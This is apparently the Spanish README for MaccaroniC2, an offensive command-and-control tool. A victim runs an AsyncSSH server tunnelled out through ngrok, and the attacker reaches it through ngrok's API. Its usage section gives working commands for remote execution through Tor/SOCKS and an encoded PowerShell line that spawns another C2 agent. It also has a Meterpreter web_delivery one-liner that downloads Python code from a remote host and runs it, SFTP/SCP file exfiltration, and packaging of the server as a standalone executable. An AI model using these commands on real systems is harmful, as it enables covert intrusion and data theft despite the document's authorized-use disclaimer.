
Un framework de Comando y Control como prueba de concepto que utiliza la potente librería AsyncSSH de Python, la cual proporciona una implementación asíncrona de cliente y servidor del protocolo SSHv2, y utiliza el envoltorio PyNgrok para la integración con ngrok.

MaccaroniC2 es un proof-of-concept framework de Comando y Control que utiliza la potente librería Python AsyncSSH, la cual proporciona una implementación asíncrona de cliente y servidor del protocolo SSHv2, y usa el wrapper PyNgrok para la integración con ngrok. Esta herramienta está inspirada en un escenario específico donde la víctima ejecuta el servidor AsyncSSH y establece un túnel hacia el exterior, listo para recibir comandos por parte del atacante.
El atacante aprovecha la API oficial de Ngrok para obtener el nombre de host y el puerto del túnel y establecer una conexión. Este enfoque se beneficia de las amplias capacidades proporcionadas por AsyncSSH, incluido su soporte integrado para SFTP y SCP, facilitando la exfiltración segura y eficiente de datos y más.
Además, el atacante puede enviar y ejecutar comandos del sistema usando un proxy SOCKS, aprovechando los beneficios ofrecidos, por ejemplo, usando para mejorar el anonimato.
TOREjecuta python3 gen_rsa.py para generar un par de claves SSH. La id_rsa recién generada es utilizada por el atacante para conectarse al servidor que se ejecuta en la máquina de la víctima.
Edita el archivo asyncssh_server.py y coloca el contenido de la id_rsa.pub recién generada dentro de la variable pub_key. El asyncssh_server.py proporciona una implementación del protocolo SSHv2 con características SFTP y SCP. Este es el script que ejecuta la víctima.
Crea una cuenta gratuita en el sitio de Ngrok y anota el Token AUTH.
Agrega el token AUTH a la variable token en asyncssh_server.py, esto debe estar codificado dentro de la función ngrok_tunnel().
Crea una clave API gratuita en el sitio web de Ngrok. Anota la cadena generada.
Coloca la cadena de la clave API en la variable api_key dentro del archivo async_commander.py. Esto nos permite obtener automáticamente el dominio y puerto de Ngrok del túnel activo durante la automatización.
Realiza el mismo paso para el archivo get_endpoints.py. Este script recupera diversa información útil sobre los túneles activos.
Con async_commander.py puedes enviar cualquier comando al servidor. Solicita automáticamente el dominio y puerto del túnel Ngrok activado por la víctima usando la API oficial de Ngrok.
Ten en cuenta también que la id_rsa debe estar en la misma carpeta que async_commander.py
Ejecuta el servidor en la máquina víctima:
python3 asyncssh_server.py
Desde la máquina atacante envía un comando usando proxy socks:
python3 asyncssh_commander.py "ls -la" --proxy socks5://127.0.0.1:9050
Envía un comando sin usar proxy:
python3 asyncssh_commander.py "whoami"
Genera otro agente C2 (Powershell-Empire, Meterpreter, etc):
python3 asyncssh_commander.py "powershell.exe -e ABJe...dhYte"
Módulo web_delivery de Meterpreter
python3 asyncssh_commander.py "python3 -c \"import sys; import ssl; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]], fromlist=('urlopen',)); r=u.urlopen('http://100.100.100.100:8080/YnrVekAsVF', context=ssl._create_unverified_context()); exec(r.read());\""
Obtén la lista de túneles activos:
python3 get_endpoints.py
Genera nuevos pares de claves RSA:
python3 gen_rsa.py
Usando SFTP y SCP - no necesitas un nombre de usuario válido, solo la id_rsa correcta
proxychains sftp -P NGROK_PORT -i id_rsa ddddd@NGROK_HOST
scp -i id_rsa -o ProxyCommand="nc -x localhost:9050 %h NGROK_PORT" source_file ddddd@NGROK_HOST:destination_path
sftp -P PORT -i id_rsa ddddd@NGROK_HOST
scp -i id_rsa -P PORT source_file ddddd@NGROK_HOST:destination_path
python -m pip install nuitka
python -m nuitka --standalone --onefile asyncssh_server.py
Para más información consulta el artículo relacionado: https://blog.hacktivesecurity.com/index.php/2023/06/05/inside-the-mind-of-a-cyber-attacker-from-malware-creation-to-data-exfiltration-part-1/
DESCARGO DE RESPONSABILIDAD: Esta herramienta está destinada únicamente para fines de prueba y educativos. Solo debe usarse en sistemas con la debida autorización. Cualquier uso no autorizado o ilegal de esta herramienta está estrictamente prohibido. El creador de esta herramienta no asume ninguna responsabilidad por el mal uso o daño causado por su uso. Asegúrese de cumplir con las leyes y regulaciones aplicables al utilizar esta herramienta. Además, es importante tener en cuenta que el uso de Ngrok junto con esta herramienta puede resultar en la violación de los términos de servicio o políticas de ciertas plataformas. Se recomienda revisar y cumplir con los términos de uso de cualquier plataforma o servicio para evitar posibles suspensiones de cuentas o interrupciones.